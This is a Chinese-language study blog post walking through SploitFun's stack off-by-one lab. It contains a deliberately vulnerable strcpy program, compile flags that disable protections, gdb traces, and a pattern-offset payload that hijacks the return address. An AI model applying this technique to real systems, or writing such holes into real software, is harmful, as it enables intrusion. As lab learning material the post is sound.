SploitFun off-by-one
跟着SploitFun
大佬的blog学习pwn
第一节是普通的栈溢出,第二节是整数溢出
现在看的是第三节off-by-one
介绍
off-by-one
,one是一个字节,就是一个字节的溢出
比如
void vuln() {
char vuln_s[5];
for(int i = 0; i <= 5; i++) {
vuln_s[i] = ...;
}
}
缓冲区只有5个字节的大小,我们却赋值了六次,这个第六次就看会覆盖到缓冲区上面的位置,通常是ebp
的最低字节
代码及分析
大佬的blog讲的是最基础的栈上的off-by-one的一个例子,网上还有大佬写过一个堆上off-by-one的文章
//vuln.c
#include <stdio.h>
#include <string.h>
void foo(char* arg);
void bar(char* arg);
void foo(char* arg) {
bar(arg); /* [1] */
}
void bar(char* arg) {
char buf[256];
strcpy(buf, arg); /* [2] */
}
int main(int argc, char *argv[]) {
if(strlen(argv[1])>256) { /* [3] */
printf("Attempted Buffer Overflow\n");
fflush(stdout);
return -1;
}
foo(argv[1]); /* [4] */
return 0;
}
// compilation
gcc -fno-stack-protector -z execstack -mpreferred-stack-boundary=2 -o vuln vuln.c
注意这里的对齐参数,默认是等于4,对齐到2^4=16字节的,我们调整为4字节
内存对齐具体可以参考下这一个
这里造成溢出的是bar函数中的strcpy
, 这里的缓冲区buf
有256字节,在main函数里面判断是strlen(argv[1])>256
,字符串最大可以是256字节,看起来好像是刚刚好.但其实并不是这样子
我们找到strcpy的介绍
Copies the C string pointed by source into the array pointed by destination, including the terminating null character
strcpy会把第257个字节的\0
也写到目的缓冲区,这个时候就会到buf
再靠上的一个字节,在这里,可能会把bar函数存的ebp的低位字节变成\0
,我们来试一试
我们在main
这里打个断点,然后输入256个A
,进入调试,一路下一步走到bar函数里
这个时候,我们的$ebp = 0xffffcaec
,然后其实,这个ebp
是caller的ebp,这里push一下,等会还要给人家pop回去,这里也能想象,虽然覆盖发生在bar函数
,但最后出问题却不在bar函数,是等bar
函数要ret回去到foo
的时候,才会把错误的ebp给pop出来
gdb-peda$ r `python -c 'print "A"*256'`
[------------------code-------------------]
=> 0x80484dc <bar>: push ebp
0x80484dd <bar+1>: mov ebp,esp
0x80484df <bar+3>: sub esp,0x100
0x80484e5 <bar+9>: push DWORD PTR [ebp+0x8]
0x80484e8 <bar+12>: lea eax,[ebp-0x100]
0x80484ee <bar+18>: push eax
0x80484ef <bar+19>: call 0x8048380 <strcpy@plt>
0x80484f4 <bar+24>: add esp,0x8
0x80484f7 <bar+27>: nop
0x80484f8 <bar+28>: leave
0x80484f9 <bar+29>: ret
执行过strcpy之后我们的EBP存的值以及变化了
原来
EBP: 0xffffcae0 --> 0xffffcaec
现在可以看到后最后一个字节果然变成了0x00
EBP: 0xffffcae0 --> 0xffffca00
执行到leave
,前面说过leave
是相当于
mov esp, ebp
pop ebp
这个时候,先是我们的mov esp, ebp
$esp = 0xffffcae0 --> 0xffffca00
然后pop ebp
$ebp = 0xffffca00
之后ret回到foo的时候,我们的ebp就不对了,不对了有什么影响呢,我们看看返回到了foo
0x80484cb <foo>: push ebp
0x80484cc <foo+1>: mov ebp,esp
0x80484ce <foo+3>: push DWORD PTR [ebp+0x8]
0x80484d1 <foo+6>: call 0x80484dc <bar>
=> 0x80484d6 <foo+11>: add esp,0x4
0x80484d9 <foo+14>: nop
0x80484da <foo+15>: leave
0x80484db <foo+16>: ret
看到这里的leave了咩,这里会把我们错误的ebp给esp,相当于我控制了esp,好吧,我控制的不太好,只能改变他的末字节…先不说这个,我们相当不稳的控制了esp,会让下面ret到奇怪的地方对不对,对吧,因为ret实际就是pop
出来一个返回地址,然后跳过去,从哪里pop,就是从栈顶esp这里啊
这个时候思路很清楚了就是要把这里要pop出来的返回地址改成我们想要的
因为整个过程我们相当于通过strcpy
把foo
的ebp低字节改掉了,导致在第二次leave的时候,改掉了栈顶esp,因为是最后一个字节变小了,这个改变在2^8=256字节之内,而且是变小
啊,还有,某个四字节变量比如*0xffff7840
,他的值存在0xffff7840-0xffff7843
,你取值给的是最低字节地址,像下图,我们正常指向的话,我上面那个箭头指的变量是ret2main
,而不是main_ebp
正常情况下要ret的时候是这样子
-------------- 高地址
ret2main
-------------- 0xffffcae0 <---- 我们的esp应该在这里
main_ebp
--------------
foo的局部变量
-------------
ret2foo
-------------
err_foo_ebp
-------------
256字节缓冲区 <------ 而事实上我们的esp现在在这里面不知道哪个地方
-------------
bar其他局部变量
这样的话,只要我们构造一个合理的输入数据,就可以造成任意地址返回了,这里我们先不考虑地址随机化,这个时候我们拿出来传说中的pattern_create
造一个256字符的数据把产生的数据喂给程序,跑一下
然后在程序走到foo的ret时候就可以看到,栈里的数据,把这个数据拷出来,用pattern_offset
搞一下就知道是在跳到了我们这256字节的哪里了,或者等程序崩了,也会有提示
其实在其他情况下,这里也可能不在我们控制范围内,因为,也可能正好跳到原ret2main
和我们可控的这256字节缓冲区之间对吧,不过可能性比较小
具体操作一下
产生256字节pattern然后给程序
片刻之后,程序崩溃了
Stopped reason: SIGSEGV
0x61414145 in ?? ()
定位一下
gdb-peda$ pattern_offset 0x61414145
1631666501 found at offset: 36
改一下payload再给程序
print 'A' * 36 + 'BCDE' + (256 - 36 - 4) * 'A'
因为我们这里没有具体的跳转地址,就把目标地址定为’BCDE’
可以看到我们的程序在崩溃的时候到了这个地方
Stopped reason: SIGSEGV
0x45444342 in ?? ()
测试成功
不能off-by-one
作者提到两种情况不能像这样子利用off-by-one
- Some other local variable might be present above the destination buffer.
就是说我们的buf
不是紧挨着ebp
的中间还有其他变量,因为我们只能覆盖一字节,所以就无能为力了... void bar(char* arg) { int x = 10; /* [1] */ char buf[256]; /* [2] */ strcpy(buf, arg); /* [3] */ } ...
- Alignment space
可能gcc会默认出现内存对齐到16字节….,这个时候在我们的buf和ebp之间就还是有空隙了
Dump of assembler code for function main:
0x08048497 <+0>: push %ebp
0x08048498 <+1>: mov %esp,%ebp
0x0804849a <+3>: push %edi
0x0804849b <+4>: and $0xfffffff0,%esp //Stack space aligned to 16 byte boundary
0x0804849e <+7>: sub $0x20,%esp //create stack space
...
原文中为了确保不出现这种情况,我们编译时候加入参数让他对齐到四字节-mpreferred-stack-boundary=2